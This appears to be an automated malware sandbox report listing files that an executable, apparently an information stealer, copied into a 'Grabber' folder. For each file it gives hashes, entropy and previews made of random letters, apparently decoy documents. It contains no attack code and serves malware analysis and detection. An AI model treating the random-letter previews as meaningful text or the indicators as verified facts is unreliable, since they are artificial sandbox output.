Preview:	PSAMNLJHZWSQDMAZGNPSQVJPYSFUCTTGDJYZLMXSOOEBVYTMYXCFKBUKVYFFHMXRUCYMSTINQFSWBKGZHWWOXSUHIJJAHELKVUMDNJZMRMZFKOUIQGCNVNZVXKWKRUMIVVNVMXPLQTYNNEISPTFLHCHCESXNGLPJCEUOVDOFSSNZDEVGGWGRIJYDNPIXZZQRIXXGAVNXXGMBNWDRPEIKJPBTWXUETHQXVKVNRJASMGUWQWQPUCAORVUSLGQPHEZAOFOACKQOBETERETOORPNJFKDGTDRHKRKEEAGCTYGGVCLOVTVNKIGBHRQXIREFRVVEMBZIDHIFEIOHPIJYGZWGTQWILPNZTDESONAGSHAQLUAVRKHMFOMOQYJXRVMLCUUJVOTUCVOEBKITXOZUZGZKCYNALMRPHSNXGINUBTOYHFDFQLRSZOZWPZGUFGNQWCZHZIXHOYMIXONKNPROHQRYFNTXULDHBFGYLGFAUXJWMFXTRDTCJKCQRMPSJWGMOUCEGLQWZCNKFEKFEUJJIUNMHRRSZPYMRYVQQYYPMGHHEKAQFKKXELSAQQLSLKKUPFWZCMCMFAINYSBZBCFXHKVLASFVZCXQXXXZLHZDHVGKAFBMUFYPUMCUFVZMLVFPOUFRVLCXBIJNSPUAJZYMLVZAAGXYNUCZCXJWFYMHPNYUZQZEKWRMDNWTUBEAPAAIVGGSWPFGRSUHMUGOYCHHBOMRHKMENUQTICOXQBOTOWXHARDPYNZYJCISYKDDFBREXFJNPUTCEDQXTRWWXEGLPLZBRUZXKHOJYFWTASZSDLWXBSEYMHYXZCADAYDPKFTVEVMYYPXPKGKKZUPTORUPLLMBXPDGYHRPPKYZOAWNEPPXHMTQWXMSQFVUTRDJEQKYSLZXRWAHJVOXMIJIPEMOVSQXZXCXSWRQRFYBFUTICJAAGKRSNWDBSGSEWJUBOEPILXBOYUDRCBRFHNBWDQPKBAZMBFBVNFLUTVKABREBJZU

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PSAMNLJHZW.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	PSA archive data
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698960923923406
Encrypted:	false
SSDEEP:	24:mGnbK2uIv9xuPtDhsIChdpYx5eCmVRCqmDCL4yq/6jv:fpuVKIChHYve9RC2LpEK
MD5:	186B4E00711974F7AF578BD6FF959BBF
SHA1:	642B794D73FB09655FBFF8EDCAAA267634554569
SHA-256:	2505B69640298D08BF2DC435A6D289C1FE7ABB349D2017F63EAD8CD2C94199EF
SHA-512:	DD6260B7AF96C7449D3DB4826888F7EAD8F274F9E170E103D588B0AB00A044B5978544A10F7B3C0C8464B74FD10B087C5671177AC1468D7F172DF4E7644A336E
Malicious:	false
Preview:	PSAMNLJHZWSQDMAZGNPSQVJPYSFUCTTGDJYZLMXSOOEBVYTMYXCFKBUKVYFFHMXRUCYMSTINQFSWBKGZHWWOXSUHIJJAHELKVUMDNJZMRMZFKOUIQGCNVNZVXKWKRUMIVVNVMXPLQTYNNEISPTFLHCHCESXNGLPJCEUOVDOFSSNZDEVGGWGRIJYDNPIXZZQRIXXGAVNXXGMBNWDRPEIKJPBTWXUETHQXVKVNRJASMGUWQWQPUCAORVUSLGQPHEZAOFOACKQOBETERETOORPNJFKDGTDRHKRKEEAGCTYGGVCLOVTVNKIGBHRQXIREFRVVEMBZIDHIFEIOHPIJYGZWGTQWILPNZTDESONAGSHAQLUAVRKHMFOMOQYJXRVMLCUUJVOTUCVOEBKITXOZUZGZKCYNALMRPHSNXGINUBTOYHFDFQLRSZOZWPZGUFGNQWCZHZIXHOYMIXONKNPROHQRYFNTXULDHBFGYLGFAUXJWMFXTRDTCJKCQRMPSJWGMOUCEGLQWZCNKFEKFEUJJIUNMHRRSZPYMRYVQQYYPMGHHEKAQFKKXELSAQQLSLKKUPFWZCMCMFAINYSBZBCFXHKVLASFVZCXQXXXZLHZDHVGKAFBMUFYPUMCUFVZMLVFPOUFRVLCXBIJNSPUAJZYMLVZAAGXYNUCZCXJWFYMHPNYUZQZEKWRMDNWTUBEAPAAIVGGSWPFGRSUHMUGOYCHHBOMRHKMENUQTICOXQBOTOWXHARDPYNZYJCISYKDDFBREXFJNPUTCEDQXTRWWXEGLPLZBRUZXKHOJYFWTASZSDLWXBSEYMHYXZCADAYDPKFTVEVMYYPXPKGKKZUPTORUPLLMBXPDGYHRPPKYZOAWNEPPXHMTQWXMSQFVUTRDJEQKYSLZXRWAHJVOXMIJIPEMOVSQXZXCXSWRQRFYBFUTICJAAGKRSNWDBSGSEWJUBOEPILXBOYUDRCBRFHNBWDQPKBAZMBFBVNFLUTVKABREBJZU

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\QVTVNIBKSD.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695938097013837
Encrypted:	false
SSDEEP:	24:z3kwMX3+NBj4ilMczAMBVgs3WrV8bfMbETQzpns7vh2HCpPQ:bkww3UGiJyGWr3RMvh2HC9Q
MD5:	DC3E834A02B2C81DF0167ACE639BA00F
SHA1:	32859A24EE65CBB3BD804D02639FCC4745C1CBC9
SHA-256:	0034D483C5EB801444D442E100E6B97859FB3752243C3323578F94083F469A29
SHA-512:	CA0BEDA568B13F4522ABFCBD8E73CD96AEEF991C8896E5C9F03D999722498840CFF29265340F8D86267E8E134085300FF8D42EC5E4741229332DEAD4B30E6D0F
Malicious:	false
Preview:	QVTVNIBKSDCTAQBGAOXCDNDJJSYXWJGWLNQZGTIRDPOXBJKWLQKQGHTGEEYZCSQXRIHLQYWVXDHEUMWEKWFGJLMYICQYBHNEZJWDJOGRRNRTOYBVHVOADCWLJBCJDEJQGWHIISDSHGZRWITARTFGZLYVQWZDXCBALJESXBFEMTGTIZQWIKXFTDQGTAMDONWUIJUYOKJXLUTMOCIHGFKUVWTZWGGDCWXLKJNCFYDCGKWQMLFWZQSHHWIEETWTGXVBHMSPQQUETSKWPAJFMRFRCHDNYKBAAHPLMJRBBAJTVLLAUUCLJYJMJLBKQGNTWGMPYQTUPYRFGMYPSFAZKFDAZPZSDSLLFCSCKJNYWUFBZSQQHSKWDGIBILREFDZJQVIODCTVEDOBTVFRFOHJOUFGKJWSBYWFYBYTUGQGTLYPZCUIXPOJLCNPDOVBXWCGCWSAJJFYOSWSVKPATDKQJRADERJVQVTQESFPSXRVBVEDLVTQYWXVFAKVPURCBYBIAPAQUFQNNEYDRUYBOOCMWAVFRHNFPGDIUCRWCXKMXPIRSBECJROTFLGGLOLFKFRGHTSAIKSQPSZXJDXWBHZHVBFILAACTJHJEQBYDONPYTGLNXEZPFCIDHTTHGIOFCTFHRHIJGRCZPVJAOXIBAJIEMVNELYPQKBHQECWJYTAPCZMZNVFUTOKDAKOXRQKSDSHHXCNPTOQACAKMZSIGEKSTZYQWWAIYNMYZGDCJITHDWZHQWHGDAHXUUSQNHSEWLINMAVJEJLBWIZQNZHARGRNBGZEQKQKZKRPFIWNXAVGMLKQJEJDYBDRSHJBULSDTLIKLIFONGYGERWNAHSKLLHMDBCSSWVOEIGUACWQMNZYBQMRIYIQZQOYRZUOCZWOMBFRIJMVRKAWJHTMEMGVQYWBBMYZGCFTJKRLDPFOIYFDWQUEGJXKLKIPLVLNTFZCDKJMEKYNPPGPMXAGDHXGEVWCGIHPFBAPAKCGGKURXQFPUIQV

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\QVTVNIBKSD.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695938097013837
Encrypted:	false
SSDEEP:	24:z3kwMX3+NBj4ilMczAMBVgs3WrV8bfMbETQzpns7vh2HCpPQ:bkww3UGiJyGWr3RMvh2HC9Q
MD5:	DC3E834A02B2C81DF0167ACE639BA00F
SHA1:	32859A24EE65CBB3BD804D02639FCC4745C1CBC9
SHA-256:	0034D483C5EB801444D442E100E6B97859FB3752243C3323578F94083F469A29
SHA-512:	CA0BEDA568B13F4522ABFCBD8E73CD96AEEF991C8896E5C9F03D999722498840CFF29265340F8D86267E8E134085300FF8D42EC5E4741229332DEAD4B30E6D0F
Malicious:	false
Preview:	QVTVNIBKSDCTAQBGAOXCDNDJJSYXWJGWLNQZGTIRDPOXBJKWLQKQGHTGEEYZCSQXRIHLQYWVXDHEUMWEKWFGJLMYICQYBHNEZJWDJOGRRNRTOYBVHVOADCWLJBCJDEJQGWHIISDSHGZRWITARTFGZLYVQWZDXCBALJESXBFEMTGTIZQWIKXFTDQGTAMDONWUIJUYOKJXLUTMOCIHGFKUVWTZWGGDCWXLKJNCFYDCGKWQMLFWZQSHHWIEETWTGXVBHMSPQQUETSKWPAJFMRFRCHDNYKBAAHPLMJRBBAJTVLLAUUCLJYJMJLBKQGNTWGMPYQTUPYRFGMYPSFAZKFDAZPZSDSLLFCSCKJNYWUFBZSQQHSKWDGIBILREFDZJQVIODCTVEDOBTVFRFOHJOUFGKJWSBYWFYBYTUGQGTLYPZCUIXPOJLCNPDOVBXWCGCWSAJJFYOSWSVKPATDKQJRADERJVQVTQESFPSXRVBVEDLVTQYWXVFAKVPURCBYBIAPAQUFQNNEYDRUYBOOCMWAVFRHNFPGDIUCRWCXKMXPIRSBECJROTFLGGLOLFKFRGHTSAIKSQPSZXJDXWBHZHVBFILAACTJHJEQBYDONPYTGLNXEZPFCIDHTTHGIOFCTFHRHIJGRCZPVJAOXIBAJIEMVNELYPQKBHQECWJYTAPCZMZNVFUTOKDAKOXRQKSDSHHXCNPTOQACAKMZSIGEKSTZYQWWAIYNMYZGDCJITHDWZHQWHGDAHXUUSQNHSEWLINMAVJEJLBWIZQNZHARGRNBGZEQKQKZKRPFIWNXAVGMLKQJEJDYBDRSHJBULSDTLIKLIFONGYGERWNAHSKLLHMDBCSSWVOEIGUACWQMNZYBQMRIYIQZQOYRZUOCZWOMBFRIJMVRKAWJHTMEMGVQYWBBMYZGCFTJKRLDPFOIYFDWQUEGJXKLKIPLVLNTFZCDKJMEKYNPPGPMXAGDHXGEVWCGIHPFBAPAKCGGKURXQFPUIQV

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\QVTVNIBKSD\AFWAAFRXKO.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6868290294905215
Encrypted:	false
SSDEEP:	24:hl+yWbugHn0w0RW4TAvC5oC6Rkc1ZqX+STxhexRov:hQhuTwqTAvIuOuQXVEov
MD5:	E655D05DEDA782A6FE1E44028236D3A4
SHA1:	ABEF573CA92D8CD16E5ACE5C300A6BF07DF79722
SHA-256:	69FC1A8F39F8BD7E956A4C8EC0EC6210E8F4C7E223B49C20369A2B47F8512528
SHA-512:	25837AEEB2772BF69684BDB344208188E115AA8FCB06D5428F84D2ED15F4972FC6874B128CA3682D28900F5C0EB8B305151F831962D3021EE7BBD1447DAE93F5
Malicious:	false
Preview:	AFWAAFRXKOIMYUTEBKLCFYUSMPKBLLVLYCZSBYQARRBIDNMYLPLGAIJYBPXZRRCDKWUJCZFNZYWJLJWCPPNWNBUNUKWKANAFJTGSMNDNAIPWYCCUGZTWCXIDUHLKDIIFXVZZCBKTKZXKYBFQHLHAZSPAYNVQVCNGPTZLFAFXAUGISISAIITTEUPNXLWBPAUSCWOXHRUCHKENHIUHQCSETCRINBBJCUJCYIOYZUPBJXJBLMSTCMXHMOOYHKSQGTGUNLEDPMCFDKWDGOSMWYQNXDCAOPAGZLPKXQZAOHSJXYLJUCZGAXOJOEPCWBHGGKSAPLRCJRDKCIWGATZZLSAOXFPFIENHFZCCEZCGGYAJEEPJFJLQIMPYUUETJJFOGGKKJKFAHPRMCUJNDGTXMLAAQDGEQMDULWDPCAUXZTYYGKAFFQQHIKQHEATUJZECMPTEBTRHCFGIZWCYGIGHIPVWFTPPXSNUTYHQCLGJLUYHHVMGFOMHJDNRGDZFHRGYQORTAJWLGOELYKCPIANQGCAXIZOMJZOECZGAHFWNUAKKTHLAANRBUSOZZLNWUYMXDOWPYUFYBOZZZBBJKPNMFGUCBOUWTXXWSNOBHKCPLGIWSWHHNCKLLLPPBPRJTKGRWMIZJYLWMDVWGJOTUQLYVUGUJQWNZKEUZQCQHKTCMGXBZDWEEFWYQHSYEMWFFVJUDOFEXELJGUUNXPBJCIQBKCMDGDRNTXYAXFDSLPAGXBTGBIVFXAHNXSFIPLCMCBKLQODIOGOBZMULDRUZUBRXZWXQVZCCWQVEIFCHMCTEYQXZKNSQZNYDUYGPGUQJEKUPPOTOWMMILZMISKYYGSRXUSSWEEQRNYBWLFXYWKGQPPVHKNOOXEDYWLCRNTNRKUIUKCYQNZCKIXAOIPCOTLEREPCLILYTQLFKBOOMXEVVODZEITSUPQITOXCNMSODLXIRGYOVFXWNRMVUQTMIZKKEVHOWKLXSZARGDNQKVXETZPBS

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\QVTVNIBKSD\NHPKIZUUSG.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.70435191336402
Encrypted:	false
SSDEEP:	24:q83Oua2II99Dm5Xcf7kmp5fFjUTZF/+akoYY9fBpCtJ6Wi5v:7OD2ISi5Xcz9l8RkcFCJ6Wix
MD5:	8C1F71001ABC7FCE68B3F15299553CE7
SHA1:	382285FB69081EB79C936BC4E1BFFC9D4697D881
SHA-256:	DCC1D5A624022EFCE4D4A919041C499622A1213FD62B848C36E6252EE29B5CAE
SHA-512:	8F2124445F7856BFFBB3E7067135CFA70BFB657F8CEAEE89312CF15CFA127CACF28C2F1F9CD1CC64E56A8D8C248E237F2E97F968D244C457AD95D0AD5144E2A7
Malicious:	false
Preview:	NHPKIZUUSGERQSLBGSEAVXGNDWXNHRIMGKQZIYGMNAKLDSDLMZTSHWNQSMRLTOXKIQVZWPTPMYGCCCTOQMOFGPYVVCCUDORIXMMXDHKCETULBHLJENABEIJPTFOHFPIUUSFPUHSBHENDANFMOYZRZAXYVFEZIKDKUEVZAWEFKRTUJZPFUDMEZZQVBGYMMIHKEBYJMJMTTXSDTDQAUATXLABLBEJUBBPSXZPXMHVNHOHYPKCYLDVGJSBPEXWGYVPHWPWLYJIOFFNQHAOBSRORLXUKIHEETKPFDPHQAGTKOMEWPBYGMTXHOQFINPIQARIVGCFUFIETTFUMCUDHRHCSTIZWRDJEHWOLAFOSWAVIGSWONBSKFWHCQAGHLWBKAFUQUULJRVZNUGGVOCCVTTWZEZFPJKZDJMHDYXQKDPLRECPAAEZVBXFDGZJIUGNMOEAISGBSPVTDRADHODLAXUFWZVTJPIGKERLENNAJHHHNNAPBWXCOGJSNVQJJEEPSMESQKGYOHXVMZQNSMSJHQHSGCJZCBZJXMLGNQQKZRIQSQCAWXZFCRMGMMLKHZDWNQTXPTYWGWNQQEQWEZJPQVPOASQIIJYWPUVLHFSLMGHWITYEKRNYGXYTAJZSRGYUWTMRNOICIEPMAYUOIDDOUSYSPAILYQQLYDTBOTEDGSCNXDRRQMOBWCQMDCQXTPEXDKPLVRMFZSKERSAULAYLSOJGDMFTZECKZYYLQVVDOMXISCOBUPPSAYUFOWOCBDJALHRAXDIKEMRYGQMEYTENAHXKWSVJEDEJTIUWZDHLIBKQRVMQLSAYIIOZDWWOLHCJUVJVRYJLTIENWCTYDOSJVSFUHOQPOXCMFGTAWFRCZJNYBCRPUFRUMZIBQDOVOBMFCHMMFHSSJZDCZNMWNCNSQMZWHCOEYNCAFONSABBQCKAPFWJIGKNUCUJZWUKRWIOFVWQWFSYAHDWXEMJKFZYMRVIRAMPVKBXONBJFTXIBDAYIE

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\QVTVNIBKSD\QVTVNIBKSD.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695938097013837
Encrypted:	false
SSDEEP:	24:z3kwMX3+NBj4ilMczAMBVgs3WrV8bfMbETQzpns7vh2HCpPQ:bkww3UGiJyGWr3RMvh2HC9Q
MD5:	DC3E834A02B2C81DF0167ACE639BA00F
SHA1:	32859A24EE65CBB3BD804D02639FCC4745C1CBC9
SHA-256:	0034D483C5EB801444D442E100E6B97859FB3752243C3323578F94083F469A29
SHA-512:	CA0BEDA568B13F4522ABFCBD8E73CD96AEEF991C8896E5C9F03D999722498840CFF29265340F8D86267E8E134085300FF8D42EC5E4741229332DEAD4B30E6D0F
Malicious:	false
Preview:	QVTVNIBKSDCTAQBGAOXCDNDJJSYXWJGWLNQZGTIRDPOXBJKWLQKQGHTGEEYZCSQXRIHLQYWVXDHEUMWEKWFGJLMYICQYBHNEZJWDJOGRRNRTOYBVHVOADCWLJBCJDEJQGWHIISDSHGZRWITARTFGZLYVQWZDXCBALJESXBFEMTGTIZQWIKXFTDQGTAMDONWUIJUYOKJXLUTMOCIHGFKUVWTZWGGDCWXLKJNCFYDCGKWQMLFWZQSHHWIEETWTGXVBHMSPQQUETSKWPAJFMRFRCHDNYKBAAHPLMJRBBAJTVLLAUUCLJYJMJLBKQGNTWGMPYQTUPYRFGMYPSFAZKFDAZPZSDSLLFCSCKJNYWUFBZSQQHSKWDGIBILREFDZJQVIODCTVEDOBTVFRFOHJOUFGKJWSBYWFYBYTUGQGTLYPZCUIXPOJLCNPDOVBXWCGCWSAJJFYOSWSVKPATDKQJRADERJVQVTQESFPSXRVBVEDLVTQYWXVFAKVPURCBYBIAPAQUFQNNEYDRUYBOOCMWAVFRHNFPGDIUCRWCXKMXPIRSBECJROTFLGGLOLFKFRGHTSAIKSQPSZXJDXWBHZHVBFILAACTJHJEQBYDONPYTGLNXEZPFCIDHTTHGIOFCTFHRHIJGRCZPVJAOXIBAJIEMVNELYPQKBHQECWJYTAPCZMZNVFUTOKDAKOXRQKSDSHHXCNPTOQACAKMZSIGEKSTZYQWWAIYNMYZGDCJITHDWZHQWHGDAHXUUSQNHSEWLINMAVJEJLBWIZQNZHARGRNBGZEQKQKZKRPFIWNXAVGMLKQJEJDYBDRSHJBULSDTLIKLIFONGYGERWNAHSKLLHMDBCSSWVOEIGUACWQMNZYBQMRIYIQZQOYRZUOCZWOMBFRIJMVRKAWJHTMEMGVQYWBBMYZGCFTJKRLDPFOIYFDWQUEGJXKLKIPLVLNTFZCDKJMEKYNPPGPMXAGDHXGEVWCGIHPFBAPAKCGGKURXQFPUIQV

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\QVTVNIBKSD\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\QVTVNIBKSD\XZXHAVGRAG.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\XZXHAVGRAG.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
